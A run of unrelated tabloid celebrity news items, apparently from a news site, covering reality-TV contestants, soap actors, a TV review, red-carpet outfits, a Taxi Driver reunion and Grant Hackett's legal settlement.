A Channel Seven spokesperson told The Daily Telegraph: 'Were always looking for opportunities to work with our contestants once the competition has finished'.

'Zana has been a popular addition to MKR this year. If the right opportunity presented itself, wed love to explore ways in which to continue that relationship.'

Meanwhile the lawyer's husband Gianni, who also starred on the cooking show and is a lawyer, said he is more than happy to go back to his day job but thinks his wife has what it takes to forge a successful career in showbusiness.

Feisty personality: During her time on the show, 25-year-old Zana has been portrayed as the villain

Popular: A spokesperson from Channel Seven has said the network won't rule out further opportunities to work with the beauty if they arise

'She wasnt expecting anything to come of it but she thoroughly enjoyed it and being in the limelight,' he told the publication.

If Zana's recent social media posts are anything to go by, it looks like the confident brunette certainly enjoys dressing to impress for an eager audience.

She regularly posts pouting selfies and stylish full-length snaps revealing her penchant for designer outfits and accessories.

Fashionista: If Zana's recent social media posts are anything to go by, it looks like the confident brunette certainly enjoys dressing to impress for an eager audience

Destined for showbusiness? She regularly posts pouting selfies and stylish full-length snaps revealing her penchant for designer outfits and accessories

Portrayed as the villain on My Kitchen Rules this season, Zana was eliminated on Thursday night alongside Gianni.

The Brisbane based couple failed to impress judges with their Balkan inspired dishes and missed out on a spot in Tuesday night's grand final decider.

Upon hearing the news that they were going home, Zana broke down in tears, saying: 'We've loved working hard and we've learnt so much. MKR has all been about our family, our true traditional recipes'.

Eliminated: On Thursday the Brisbane based couple failed to impress judges with their Balkan inspired dishes and missed out on a spot in Tuesday night's grand final decider

Learnt so much: Zana said the show was a great experience, saying: 'You cannot put money on what we have learnt and how we've improved. It's priceless. It's the best experience of our lives'




Beverley Callard seemed in good spirits as she headed into a party on Thursday night after opening up to fans about her recent battle with depression.

Smiling at the cameras the Coronation Street star looked like she was enjoying her evening as joined her co-stars at producer Stuart Blackburn's party in Manchester.

Clad in a baby blue leopard print dress, the 59-year-old actress looked effortlessly chic as she headed indoors, layering up with a cropped denim jacket.

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Smiley: Beverley Callard, 59, seemed in good spirits as she headed into a party in Manchester on Thursday night after opening up to fans about her recent battle with depression

Revealing a flash of her toned legs in the knee-length dress, Beverley also put a quirky twist on her ensemble with the addition of cropped fishnet leggings that were just visible as she walked.

Adding some height to her frame, she slipped her feet into a pair of heeled electric blue ankle boots, whilst she rounded off her ensemble with a grey handbag.

Wearing her golden tresses loose and tousled, she beamed broadly as she cosied up to her husband of six years, Jon McEwan.

Wild thing! Smiling at the cameras the Coronation Street star looked like she was enjoying her evening as joined her co-stars at producer Stuart Blackburn's party whilst clad in a chic baby blue leopard print dress

Blonde beauty: Wearing her golden tresses loose and tousled, she beamed broadly as she cosied up to her husband of six years, Jon McEwan, adding some height to her frame in a pair of heeled electric blue boots

Feeling good! Bev was typically animated as she left the venue with her arms in the air while in the company of a beaming female companion

Back on the town: The evening marked Bev's first big night out after she was signed off work on Coronation Street for two months

The star was on her first big night out after she was signed off work on Coronation Street for two months when she collapsed in a flood of tears whilst on set with her co-workers.

Beverley - who plays Liz MacDonald in the ITV soap - has been open about her battle with depression in the past, and recently told her fans that she was on the mend.

Taking to Twitter, she announced: 'Had a good day today, things are on the up!'.

Moments later she added further detail by posting a second tweet which read: 'Saw a new doctor today. Got hope!'.

Flashing the flesh: Katie McGlynn dazzled in a baby blue dress that skimmed the tops of her slender thighs

Accessorising: The beauty teamed the skimpy design with long black boots and a coordinating clutch bag

Speaking about her depression, the star previously told The Mirror: 'At first no one knew I was struggling. I wanted to keep it a secret.'

'I was getting worse and worse each day. I was getting ready in my dressing room and I couldn't take it any more. Liz had to be dressed up for a certain scene  she had to wear a PVC outfit.'

'Fear took over and I started to cry. I thought, 'I'm not confident enough to put this on. I can't do it'.

Jump to it! Catherine Tyldesley showed off her incredible figure in a chic black jumpsuit

Svelte: The design nipped in at her tiny waist whilst she slipped her feet into a pair of tanned T-bar sandals

All in the details! Catherine toted her essentials in a burnt orange clutch bag, which also instilled a welcome pop of colour into the look

Hair she is! Her blonde locks were swept back into a glamorous ponytail, while a few strands of hair were left out to frame her pretty face

Whilst Coronation Street bosses were sympathetic towards Beverley's needs, her absence from the soap has resulted in a series of rewrites and changing plot lines for her co-stars.

A source told The Sun: 'We began filming [Liz's lover] Tony Stewart's funeral last week and are continuing this week. As Bev has been off for two weeks, she hasn't been able to be a part of it, which is a shame as she was going to be heavily involved.

'Whole scenes have been reworked. These include one scene in which Jason Grimshaw, played by Ryan Thomas, was to have a fight with Liz. But that has been scrapped.'

Radiant redhead: Kate Oates put on a leggy display in fishnet tights whilst she slipped her lithe frame into a thigh skimming black shift dress with floral embroidery along the hem

Giggles: Kate seemed in high spirits as she left the soiree laughing with a female companion

Denim dreams: Mikey North cut a dapper figure in fitted black jeans a smart shirt, whilst Tiaha Merry flashed her toned tum whilst rocking a double denim look of skinny jeans and a tie-up shirt

Keeping it casual: Cherylee Houston ditched the glamour in favour of a more pared-back style and showed off her flawless complexion by going make-up free

However, soap bosses are pleased with the changes and the insider insisted no one blames Beverley for what has happened.

The insider added: 'It's far from an ideal situation but the scriptwriting team have risen to the occasion.

'There are obviously no hard feelings towards Bev, who is loved on set.'

Strike a pose! Casually clad Alison King couldn't resist playing up for the cameras as she posed alongside co-star Dan Brocklebank

Chic and cheerful! Lucy Fallon showed off her quirky style sense in a thigh-skimming leopard print mini skirt and green T-shirt whilst she layered up in a loose fitting denim jacket with embroidered panels

Finishing touches: Lucy completed the look by elongating her pins with in black mule heels, while wearing her blonde locks in gorgeous tousled curls

Last goodbye! Bill Roache shared a friendly hug with Stuart Blackburn, who is departing the show after three years

Wounded! Simon Gregson was still sporting a sling after sustaining an injury to his arm




Aliens: The Big Think

Rating:

Bargain Shop Wars

Rating:

Peter Capaldi has the most ominous voice on TV. His spell in the Tardis has bestowed a new timbre on his vocal cords, with the ability to make the most innocuous remark sound like a death sentence.

He might say Good morning, with a note of finality that could induce despair in a puppy. So when, on the voiceover of Aliens: The Big Think (BBC4), he intoned the words: Los Alamos . . . birthplace of the bomb, it sounded as though the sky was rent apart and doom spilled down.

The quest for alien life, led by Astronomer Royal Martin Rees (pictured), might best be summed up by asking which movie best represented the reality of inter-galactic civilisations

What this documentary really needed, though, was the squeaky voice of Joe Pasquale. Only that could match the witterings of the physicists who went looking for extraterrestrial life, without the first notion of what they were hunting for.

All the scientists know for sure is that, if aliens exist, well have to be very brainy to find them. Luckily, theres no one brainier than a scientist!

They are so clever theyre in danger of wiping us out with their combined intellects  theres something called the Future Of Humanity Institute at Oxford University, headed by a brainiac called Dr Anders Sandberg, attempting to solve the question: Is intelligence fatal?

Of course it is. Scientists are crushed under the weight of their own IQ all the time.

The documentary featured hilarious footage from the Eighties of a roomful of NASA physicists attempting to solve an equation that calculates the number of alien civilisations in the galaxy. They sat around with their straggly hair and their briar pipes and came up with the definitive answer: somewhere between several dozen and a few billion, depending on variables.

Thats a wonderful solution, one thats applicable to just about any truly profound question. How many stars can we see in the sky? How many fish are left in the sea? How often can I watch the same episode of Pointless before I realise Ive seen it before?

Most of the footage Capaldi narrated did not feature hairy scientists, however. The show was padded with excerpts from numerous sci-fi films, including classics such as Alien and 2001: A Space Odyssey, but also many B-movies with flying saucers suspended on wires and monster starfish in nylon costumes.

FIENDISH QUIZ OF THE WEEK The latest of the Beebs afternoon brainteasers, The Code (BBC1), is the most frustrating yet. Contestants have to answer up to 30 questions, while guessing the digits of a combination lock. It looks impossible . . . but students Michael and Tom cracked it. Well done! Advertisement

The quest for alien life, led by Astronomer Royal Martin Rees, might best be summed up by asking which movie best represented the reality of inter-galactic civilisations.

You might hope its cute and cuddly like E.T., but Rees seemed grimly assured it would be more like Terminator  lots of shiny machines with plasma guns, roaming the star systems in search of worlds to obliterate. Theres a cheery thought. The fact is, of course, that science has discovered no life beyond Earth whatsoever.

The Moon and Mars are barren, and we cant probe any further than that.

Some scientists attempt to use this as proof that life must exist beyond our solar system, but they sounded even more desperate and delusional than their colleagues. What the programme didnt dare address were the innumerable sightings of unexplained flying objects and alien encounters reported by people every day.

Scientists dont take that seriously. They keep an open mind about everything, except the experiences of ordinary mortals.

Bargain Shop Wars (ITV) was a brutal business. Its about being willing to fight someone in the car park for five quid, said one manager

The chief business of ordinary mortals, of course, is bargain-hunting, and there were oodles of opportunities in the Lancashire shopping malls, where cut-price chain store Pep & Co was luring new customers through the doors.

Bargain Shop Wars (ITV) was a brutal business. Its about being willing to fight someone in the car park for five quid, said one manager. And five quid would buy you two T-shirts and a pair of knickers at these tills.

The whole show looked like one big challenge on The Apprentice. One manager, Beth, hauled in the shoppers with a flash mob, a publicity stunt where a little girl started dancing in the street and all the staff joined in.
Nobody puts this bikini babe in the corner.

Margot Robbie certainly knows how to do a work trip right, combining business with pleasure at one of the world's most luxurious tropical getaway.

The 25-year-old star turned a magazine shoot in St. Barts into a romantic getaway with her love Tom Ackerley last week.

Mixing business with pleasure: Margot Robbie brought along beau Tom Acklerley to her work trip to St. Barths last week

While jetting into the French West Indies' playground of the rich and famous was already a dream work trip, the Australian beauty made it resemble a job requirement even less by having her assistant director beau join her.

The Wolf On Wall Street star was in town to shoot with renowned photographer Patrick Demarchelier for Vanity Fair.

But as the shoot required the actress to stay at one of the best hotels in St. Barts for three nights, she and her boyfriend made the most of it.

The pair made the Taiwana Hotel - which can cost up to 6550 Euros a night - into their own love nest.

Loved up in luxury: While jetting into the French West Indies' playground of the rich and famous was already a dream work trip, the Australian beauty made it resemble a job requirement even less by having her assistant director beau join her

Mixing business with pleasure: The Wolf On Wall Street star was in town to shoot with renowned photographer Patrick Demarchelier for Vanity Fair

No holding back: While Margot and Tom have been dating for two years, it was clear that the couple are still crazy about each other - and are not afraid to show it

Fancy digs: The pair made the Taiwana Hotel - which can cost up to 6550 Euros a night to stay at - into their own love nest

While Margot and Tom have been dating for two years, it was clear that the couple are still crazy about each other - and are not afraid to show it.

The actress and her boyfriend could not keep their hands off each other as they cooled off in the azure waters of the holiday destination.

Clearly a big fan of romantic classics, the former Neighbours star and her British boyfriend did their best to recreate the famous river scene for Dirty Dancing.

I'll catch you: The Aussie actress and her British boyfriend did their best to recreate the famous river scene for Dirty Dancing

Not quite: Margot struggled to hold her body out, so kept trying to master the lift and her beau obliged

Same, same but different: The couple were doing their best to replicate the move from Dirty Dancing by Jennifer Grey and Patrick Swayze

Launching herself out of the water into Tom's arms, Margot did her best to hold her body out like Jennifer Grey did when Patrick Swayze caught her.

The Australian star did not quite master the technique so she tried again.

Again not quite making it, the star threw her arms up in the air before sliding back into the water and into a hug with hunky Brit.

Bum deal: The assistant director did his best to hold up the star who was clearly being a bit of a handful

Careful there: The 25-year-old almost lost her top as she leaped pit of the water over and over again

Still works: Trying again, the star threw her arms up in the air before sliding back into the water and into a hug with hunky Brit

While they could not do the famous lift, the move ensured just as much romance with Margot planting a big kiss on her beau's cheek.

Unable to resist his girlfriend's charms, Tom reciprocated and gave his love a big kiss on her lips.

While they were only in shallow water - and no doubt Margot is a more then proficient swimmer - Tom chivalrously scooped his girlfriend up into his arms so she could kick back and relax.

Good try: While they could not do the famous lift, the move ensured just as much romance with Margot planting a big kiss on her beau's cheek

Sealed with a kiss: Unable to resist his girlfriend's charms, Tom reciprocated and gave his love a big kiss on her lips

I got you babe: While they were only in shallow water - and no doubt Margot is a more then proficient swimmer - Tom chivalrously scooped his girlfriend up into his arms so she could kick back and relax

He was handsomely rewarded however, as it gave him a chance to keep his hands on the Suicide Squad star.

And who could blame him, with Margot looking amazing in a barely-there white She Made Me bikini.

The crochet two piece ensured the actress' famed physique was showcased perfectly with the tie bottoms being particularly brief so as to highlight her shapely derriere.

White hot: The 25-year-oldf blonde beauty looking amazing in a barely-there crochet bikini by She Made Me

Cheeky: The two piece ensured the actress' famed physique was showcased perfectly with the tie bottoms being particularly brief so as to highlight her shapely derriere

Tom was not looking too shabby - albeit rather shaggy - himself.

While his love has to keep in tip top shape as she is in front of the lens, the assistant director showed off his abs in a pair of blue and white boardshorts.

The couple certainly have been making the most of their getaway at the exclusive resort and were seen strolling along the white sands prior to their dip.

Making a splash: While his love has to keep in tip top shape as she is in front of the lens, the assistant director showed off his abs in a pair of blue and white boardshorts

Once again the pair could not keep their hands or lips off each other, stopping their stroll to share a long kiss.

No doubt the getaway - even if Margot has to do a shoot - was a welcome one for the couple as not only do they have very busy schedules, their love is a long distance one with Margot in Los Angeles and Tom based in England.

Margot is also about to be super busy ahead of the release of her highly anticipated ensemble action film, The Suicide Squad, which premieres on August 5 also stars Jared Leto, Will Smith, Cara Delevingne, Jay Hernandez, Jai Courtney and Viola Davis.
Louise Pillidge has slammed the idea that she stole her ex Blake Garvey from Sam Frost.

During her appearance on The Morning Show on Friday, the 28-year-old spoke about her split with the former Bachelor and real estate agent which was announced earlier this week.

The blonde mentioned Sam Frost - Blake's former fiancee and who he chose on the show before dumping her for Louise - by saying: 'I didn't steal anything!'

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Setting things straight: Louise Pillidge (pictured) has slammed the idea that she stole her ex Blake Garvey from Sam Frost when she appeared on The Morning Show on Friday

The comment came after The Morning Show's Larry Emdur noted how 'controversial' her and Blake's relationship has been.

'There was the headline that you stole your best friend's fiance,' he then continued, which caused Louise to shoot down the claims.

'I say no, he chose me,' she explained, before adding: 'I didn't steal anything, no.'

Moments later, Angela Cox asked her 'how how hard is it for you to have people who may or may not know the actual details of what went on, sort of painting you as the "other woman," like "man stealer"...that's got to be pretty tough.'

Former couple: Blake Garvey is seen here on the finale of The Bachelor, with Sam Frost, who he proposed to before he eventually got into a relationship with Louise

Keeping her cool: Shortly after her TV appearance, Louise was seen cutting a relaxed figure as she left the studios with her mother

Bright move: The TV star dressed her slender frame in a chic lace skirt and a pale pink blouse, a drastic change from her all-black getup from the day before

Louise said it was 'a hard lesson to learn.'

'Especially because I'm not a dramatic person, I don't like drama and for one, I've always been such an open, honest and lovely person,' she said.

'So for me, when I saw my name in the tabloids...It's a really really hard thing to deal with.

'But like I said, you have to be strong, you've got to be tough and it's an experience I've learned from and it's made me a stronger and better person.'

She was then asked if her and Blake's relationship would have made the distance if he chose her first.

Opening up: Louise seemed more than happy to talk about their split

Beaming: The pretty blonde was seen having a good laugh with her counterparts after the interview

Trying to move on: The day before, Louise was seen dressed in all-black and appeared downcast as she arrived at Sydney airport

She joked that if he picked her first and without the controversy things 'would have been a lot easier,' before adding: 'I truly believe that there is that ''it could of,' but you just never know and without that, we wouldn't have maybe had some experiences that would test us and see if we could go the distance.

'And that's really, all you could do,' she said.

When asked is she sometimes wish people weren't watching her go through the breakup and being so much in the public eye, she said she sometimes wishes she could 'do my own thing.'

Also during the chat, she said part of the reason they split was because of all the media scrutiny and negativity surrounding them that they 'couldn't ever celebrate out love.'

'There was so many different things that I think lead to us breaking up, the media, the scrutiny, but also, we couldn't ever celebrate our love. There was so much negativity around how we got together and unfortunately, that was part of our demise.'

She also said the pair's split was 'amicable.'

Struggles: Also during the chat, she said part of the reason they split was because of all the media scrutiny and negativity surrounding them that they 'couldn't ever celebrate out love'

She and Blake had been together for 18 months, and announced this week they were splitting.

In an exclusive interview with New Idea published on Monday, the reality couple said they'd been 'walking on eggshells' and had undergone three months of couples' counselling.

The pair cited constant media scrutiny as one of the reasons for their split, not being able to move forward after the controversy surrounding the finale of Blake's season of the hit dating series.

Louise also said it was Blake's decision to call it quits and said she struggled with getting used to the idea that she wasn't his first choice.

Sam Frost was ultimately chosen on The Bachelor and Blake even proposed to her in the final episode before leaving her for Louise, who finished third, merely weeks later.

At the time, Sam was venting her frustrations at the end of her relationship with Blake and fans slammed Blake and Louise for eventually getting together.

He since got the title of 'love rat' from critics.
She's been treating her 1million Instagram followers to daily poolside updates on her tan and bikini collection.

But as Megan McKenna did a spot of shopping on the last day of her holiday, she couldn't resist buying yet another two-piece for her extensive collection.

The Only Way Is Essex star, 23, was spotted buying some new bikinis from the Runway Swimwear boutique in the Lincoln Road Mall in Miami Beach on Thursday.

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Retail therapy: Reality TV star Megan McKenna shows off her tan in a black mini dress as she shops in Miami on Thursday

Shop till you drop: Megan did a spot of shopping on the last day of her holiday, she couldn't resist buying yet another two-piece for her extensive collection

The reality TV star showed off her Florida tan in a black mini dress as she sauntered down the thoroughfare with a pal.

It was a break from tanning for the perma-bronzed Essex girl, who has barely stepped away from the pool all week.

The reality star was evidently looking forward to seeing her new boyfriend Pete Wicks upon her return to Essex.

Back to black: The reality TV star showed off her Florida tan in a black mini dress

Taking a break: It was a rest from tanning for the perma-bronzed Essex girl, who has barely stepped away from the pool all week

Sharing a photo of the pair online, she wrote: 'Looking forward to seeing this f**ker tomorrow.'

While Megan has been in Miami, Pete has been 500 miles away on a boys' holiday to the Mexican Riviera resort of Cancun with co-star James Locke.

The pair started seeing each other last month after Megan joined the cast of TOWIE.

Girls' trip: Megan has been spending the week in Florida with a pal before she is reunited with her friend

Chart dreams: She's hoping to establish herself as a pop star, having recently teased fans with photos of herself in a recording studio

The Essex girl is no stranger to reality shows having previously starred in Celebrity Big Brother, Ex On The Beach, X Factor and Britain's Got Talent.

She's hoping to establish herself as a pop star, having recently teased fans with photos of herself in a recording studio.

Hopefully her singing career will fare better than former TOWIE star Jessica Wright - who briefly romanced Pete - whose debut single Dance All Night got to No.36 in the UK charts in 2012.

See ya later Miami! Megan was later seen in a pink tracksuit checking out of her hotel to fly home to Essex
The original cast of Taxi Driver have been pictured together to mark the 40th anniversary of the classic's box office release.

Director Martin Scorsese was joined by lead actor Robert De Niro as well as Jodie Foster, Harvey Keitel and Cybill Shepherd at New York's Beacon Theatre for the Tribeca Film Festival.

The photograph shows award-winning De Niro sitting in the centre with co-star Foster, who played pre-adolescent prostitute Iris in the film.

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Back together again: Forty years after its box office release, the original cast of Taxi Driver reunited for a special screening on Thursday as part of the Tribeca Film Festival

Producer Michael Phillips, Shepherd, who plays campaign volunteer Betsy, director Scorsese, writer Paul Schrader and Keitel, who plays 'Sport' and pimps out Iris, are pictured smiling behind them.

The film, which is widely reported to be one of the best films of recent decades, tells the story of Vietnam War veteran Travis Bickle, played by De Niro, who works as a taxi driver in New York.

He becomes infatuated with Betsy and, after she leaves him, the film charts his gradual descent into violence.

Despite killing a robber during an attempted robbery, Travis spends the remainder of the film attempting to help Iris after he met her one night when she was attempting to escape from Sport.

Top class: The movie, about a disaffected Vietnam veteran and his attempt to clean up the perceived vice and corruption of New York City in the 1970s, went on to become one of the highest rated films of all time. Above, Jodie Foster and Robert De Niro in the film

On set: The film, which won a number of awards including the Palme d'Or, is said to have inspired a real-life presidential assassination attempt . Above, Foster and De Niro

The film, which won a number of awards including the Palme d'Or, is said to have inspired a real-life presidential assassination attempt.

A screening was organised at the festival to celebrate the film's success after it was released in 1976.

Foster, 53, looked chic in a cobalt blue suit with a white blouse and matching blue pointed toe pumps.

The Hollywood vet's brunette locks were down and fell casually to her shoulders, while a dab of dark crimson lipstick added just a dash of color to the somewhat staid ensemble.

Screen legends: Jodie Foster looked quite carefree when she hit the red carpet with costar Robert De Niro on Thursday to celebrate the 40th anniversary of the film Taxi Driver

She's come a long way: Jodie, 53, who played the angelic, pre-adolescent prostitute Iris in the film, looked chic in a cobalt blue suit with a white blouse and matching blue pointed toe pumps

Smile! The Hollywood vet's brunette locks were down and fell casually to her shoulders, while a dab of dark crimson lipstick added just a dash of color to the somewhat staid ensemble

Co-star De Niro looked dashing in a navy blue polo shirt, matching blazer and charcoal slacks with black loafers.

His wife, Grace Hightower, spiced things up with a sheer top over a black bra, a black blazer and a black skirt with tiny tassels.

Shepherd, 66, exuded some youthful vibes in a knee length black dress and black sandals. Her golden locks were wavy and left somewhat messy.

She's talking to him! Co-star Robert, who played the now iconic vigilante Travis Bickle, looked dashing in a navy blue polo shirt, matching blazer and charcoal slacks with black loafers

Cool couple: Wife Grace Hightower spiced things up with a sheer top over a black bra, a black blazer and a black skirt with tiny tassels

Meanwhile, Keitel, 76, looked pleased to be in attendance and sported an all black outfit which included black pants and blazer with a black button down shirt underneath.

House star Jennifer Morrison and Fargo actor Patrick Wilson also attended the screening.

Ms Morrison went decidedly high style, donning a unique-looking black dress with flared shoulders, a collar and a pointed hem for the event.

Mr Wilson opted for a far more casual look, opting to go with jeans, trainers, a polo shirt and a blue coat.

Still blonde: Cybill Shepherd, 66, exuded some youthful vibes in a knee length black dress and black sandals. Her golden locks were wavy and left somewhat messy

What a pimp: Harvey Keitel, 76, looked pleased to be in attendance and sported an all black outfit which included black pants and blazer with a black button down shirt underneath (he played doomed pimp Sport in the film)

Supporters: House star Jennifer Morrison and Fargo actor Patrick Wilson also attended the screening, which was part of the Tribeca Film Festival
It's been a drama-filled week for former Olympic swimmer Grant Hackett.

Following the 35-year-old's mid-air drama after a drunken altercation on a Virgin Australia flight from Adelaide to Melbourne on Sunday, where the disgraced athlete allegedly gave another passenger a nipple cripple, he may have some good news to celebrate.

According to The Sydney Morning Herald, the Olympian has settled a case against two lawyers over his ex-wife, Candice Alley's, pre-nuptial agreement on Friday.

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Looking forward: Grant Hackett has reportedly put a case against two law firms over his ex-wife Candice Alley's pre-nuptial agreement behind him, settling the matter on Friday

The publication reports that Melissa Daly, Supreme Court Associate Justice, agreed to dismiss the case against Brisbane-based firm Mullins Lawyers and Melbourne-based law firm Nevile & Co, with no order for costs.

Debra Cherrie, a spokesperson for Grant's lawyers Taussig Cherrie Fildes told Fairfax Media in a statement: 'We confirm that the Supreme Court of Victoria proceedings involving our client were resolved on terms satisfactory to our client.

'The settlement terms are confidential to the parties. We are not authorised to provide any further comment.'

'Proceedings involving our client were resolved on terms satisfactory to our client': The 35-year-old's lawyers issued a statement confirming the end of proceedings, which began back in 2013

Grant also spoke to the media through a statement on Friday, saying: 'I will be spending at least the next few nights in hospital as I am treated for a severe infection and a case of Uvulitis.'

'I dont want to sweep anything under the carpet. I continue to apologise to anybody that my behaviour has impacted,' he added.

The matter, which was first filed in 2013, was originally scheduled for a five-day trial beginning April 18, the day before his mid-air drama.

It's not known if his behaviour on Sunday's flight was linked to the impending trial.

Victim: Martin Slobodnik was allegedly given a nipple cripple from the drunk Olympian on a Virgin Australia flight from Adelaide to Melbourne, after Martin reclined his Business Class seat back

Under investigation: While the swimmer has not been charged over the mid-flight altercation, it's understood Police are still investigating the incident, which resulted in Grant being taken off the plane in a wheelchair

It's understood Police are still investigating the incident, which started when fellow Business Class passenger Martin Slobodnik reclined his seat. Grant was later taken off the plane in a wheelchair.

However, Grant has not yet been charged over the mid-flight incident.

Daily Mail Australia have reached out to Grant Hackett's representatives for comment.

The news should also be a relief to Candice, 33, who has been filming a guest role on Neighbours.

The Olympic swimmer and actress separated in May 2012 after five years of marriage

The Olympic swimmer and actress separated in May 2012 after five years of marriage and have twins together.

The details of the prenuptial agreement between Grant and his former wife was allegedly described by a lawyer in December as 'one of the worst he had ever seen' because it was 'grossly unfavourable' to Alley, court documents have shown.

Joseph Buccheri, a consulting solicitor who allegedly provided advice to Ms Alley, claims he urged her mother to tell her daughter not to sign the 'grossly unfavorable' document in 2007, The Sydney Morning Herald reported.

The Olympian then tried to sue Melbourne-based firm Nevile & Co, as well as a second law firm in Brisbane, saying he allegedly suffered financial loss after the allegedly 'botched' pre-nup was found to be not binding.

Pre-nup: The Olympian was said to be suing the two law firms for financial loss suffered after the pre-nup was found to be not binding

According to the original pre-nup, Ms Alley would receive 15 per cent of Hackett's (pictured) assets if married for less than ten years and 25 per cent if they separated after ten years

Both law firms denied any liability claiming they gave appropriate legal advice.

According to the original pre-nup, Ms Alley would receive 15 per cent of her husband's assets if married for less than ten years and 25 per cent if they separated after ten years.

Grant's statement of claim said although Ms Alley signed the prenuptial agreement, she attempted to have it cancelled following their separation.

He also alleges Ms Alley had denied receiving legal advice from Mr Buccheri.
They're undoubtedly one of the fittest couple's in Sydney.

But on Thursday, Lynzey Murphy, 25, and boyfriend Daniel Conn, 30, appeared happy as they swapped their hardcore workouts for a leisurely stroll in Sydney.

The former My Kitchen Rules contestant flashed her toned arms as she donned a sleek white vest and watched on as her muscular beau cuddled up with his pooch.

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Puppy love: On Thursday Lynzey Murphy, 25, and boyfriend Daniel Conn, 30, swapped their hardcore workouts for a leisurely stroll in Sydney

Lynzey flaunted her incredible figure in a pair of thigh skimming denim shorts which showed off her muscular legs.

She wore her chocolate tresses loose around her shoulders and appeared to be makeup free as she adoringly watched Dan with his massive dog.

The health and fitness guru draped a small leather bag over her shoulder and sat perched on a bench as she sipped what appears to be a bottled green smoothie.

Leggy lady: The 25-year-old former MKR star showed off her incredibly toned physique in a pair of thigh skimming denim shorts matched with a sleek white vest

Beside her, Dan flashed his heavily tattooed muscular arms in a navy blue tank top that featured sleeves which had been cut down low at the sides.

For their low-key outing he finished his look with a pair of blue patterned shorts and a pair of grey sneakers.

The former rugby league player typed away on his mobile phone as the gigantic dog climbed up onto the ledge Lynzey was sitting on and placed itself next to her.

The couple have attempted to keep their blossoming relationship away from the media, but a dramatic rescue of Hugh Jackman's children outed them publicly.

Buff beau: Daniel flashed his heavily tattooed muscular arms in a navy blue tank top paired with a pair of blue patterned shorts for the low key outing

It's official: The lovebirds recently appeared on the Seven Network Morning Show, where they announced they were a couple to the co-hosts Larry Emdur and Kylie Gillies

In the days after the rescue the lovebirds appeared on the Seven Network Morning Show, where they announced they were a couple to the co-hosts Larry Emdur and Kylie Gillies.

The former Sydney Roosters player revealed that they met through a mutual friend, while Lynzey added: 'so I cooked Dan dinner, and one thing lead to another and we ended up here'.

After going public with their relationship the pair showed off their incredibly muscular bodies in a snap where Lynzey, with her rippling abs on display wrapped her legs around Dan.

Meanwhile, Daniel didn't hesitate to show off his bulging biceps as he put his muscular arms to good use and gave a flex to the camera.
Rose McGowan showed off her unique style in New York on Thursday.

The actress wore a light pink top and matching trousers as she attended the Housing Works Design On A Dime Opening Night Reception at Metropolitan Pavilion.

The 42-year-old's salmon-colored top featured a black barcode across the chest.

Fashion-forward: Rose McGowan wore a pink ensemble emblazoned with a black barcode as she attended Housing Work's Design On A Dime Opening Night Reception in New York City on Thursday

The former Charmed star looked relaxed as she attended the benefit sale for the Housing Works charity, which works with the homeless and HIV/AIDs patients.

Rose showed off her usual buzz-cut look, and played up her features with eye make up and pink lipstick.

She added black lace-up Stella McCartney platform Oxfords with a chunky white and tan heel.

Stylish: The actress-turned-director wore her hair in a buzz cut and added matching pink lipstick

Rose shaved off her hair in November, apparently wanting a change after filing for divorce from her husband of two years, visual artist Davey Detail.

'I don't want it anymore,' she explained as she shared photo of herself in the hairdresser's chair at the time.

Rose has moved on from acting and now directs, including the short film Dawn and other projects.

Eclectic style: Rose added chunky Stella McCartney platform shoes

She has also been an outspoken critic of sexism in Hollywood, including sharing a casting notice for an Adam Sandler film that suggested actresses wear a low-cut tank top to shows off their cleavage to their audition last year.

And Rose kept the topic close to her heart as she stepped out in New York earlier on Thursday with a cropped T shirt reading: 'Sex, politics & Film.'

She covered up her head in a floppy black hat, and added sunglasses and bold red lipstick as she strolled through The East Village.

Making a statement: The outspoken critic of sexism in Hollywood stepped out in a 'Sex, politics & film' shirt in The East Village earlier on Thrusday
She's been at the center of a 'whitewashing' controversy regarding one of her latest films, Doctor Strange.

But Tilda Swinton didn't seem too bothered by the debate on Thursday, when she attended a screening of her film A Bigger Splash with costar Ralph Fiennes.

The 55-year-old actress instead turned some heads with her elaborate garb for the evening's event, where she also addressed the furore around her being cast as the Ancient One in the forthcoming flick, starring Benedict Cumberbatch in the lead role.

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Dynamic duo: Tilda Swinton didn't seem too bothered by the debate on Thursday, when she attended a screening of her film A Bigger Splash with costar Ralph Fiennes

Known for her quirky style, Tilda didn't disappoint, as she donned an elaborate white frock that appeared to be a hybrid of several clothing items.

The top mostly appeared to be a cream-colored trench coat, which transitioned into a pleated dress which fell to her ankles.

A wide matching belt featuring two delicate medallions literally and figuratively tied the outfit together, and dark patent leather high heel boots completed the eccentric ensemble.

Of course the Oscar winner's pale locks were also arranged into a slightly peculiar style, as the sides appeared shaved while the center was gelled up and back.

A little of everything: Known for her quirky style, Tilda didn't disappoint, as she donned an elaborate white frock that appeared to be a hybrid of several clothing items

A slick of crimson lipstick added a dash of color to the otherwise monotone look.

During her appearance at the screening, Tilda took the opportunity to give a statement toThe Hollywood Reporter regarding the Doctor Strange situation.

'I wasn't asked to play an Asian character, you can be very well assured of that,' she said emphatically, referring to her character in Doctor Strange who hails from a Tibetan village.

Complicated: The top mostly appeared to be a cream-colored trench coat, which transitioned into a pleated dress which fell to her ankles

'You just have to wait and see, because it's not an Asian character,' she reiterated.

Fans have been up in arms as the British actress has been cast in the role, as the character of the Ancient One - a powerful sorcerer who takes Doctor Strange under his learned wing - is a Tibetan-born male.

Given Tilda's comments, it appears the film's creators have given the character a complete re-write.

Defensive: 'I wasn't asked to play an Asian character, you can be very well assured of that,' she said emphatically, referring to her character in Doctor Strange who hails from a Tibetan village

Laid-back: Costar Ralph, 53, opted to keep things quite simple and classic with a pattern button down, grey overcoat and slate trousers with dark wingtips

Hello there, handsome! Actor Alex Pettyfer also went along to the screening

Snap-happy: The Magic Mike star, 26, spent time taking pictures before heading into the screening

Strike a pose: Alex posed for pictures with fans outside the event, although he's not in the film himself

Meanwhile, at the A Bigger Splash event, Tilda's co-star Ralph, 53, opted to keep things quite simple and classic with a pattern button down, grey overcoat and slate trousers with dark wingtips.

Gina Gershon, 53, also took a turn on the red carpet, and was quite bundled up for the affair.

The 53-year-old Face/Off star donned a black overcoat with leather collar, a grey scarf and a long dress composed of semi-sheer lengths of fabric.

And handsome Magic Mike star Alex Pettyfer was also in attendance, although he doesn't appear in the film.

Cold? Gina Gershon, 53, also took a turn on the red carpet, and was quite bundled up for the affair

Chic: House of Cards star Libby Woodbridge donned a white flowing Canvas by Lands End jumpuit

Surprising addition: Clothing maven Donna Karen stopped by the red carpet

The 26-year-old cut a suave figure in black skinny jeans and a shirt with an overcoat as he took pictures outside the event, also posing with some fans.

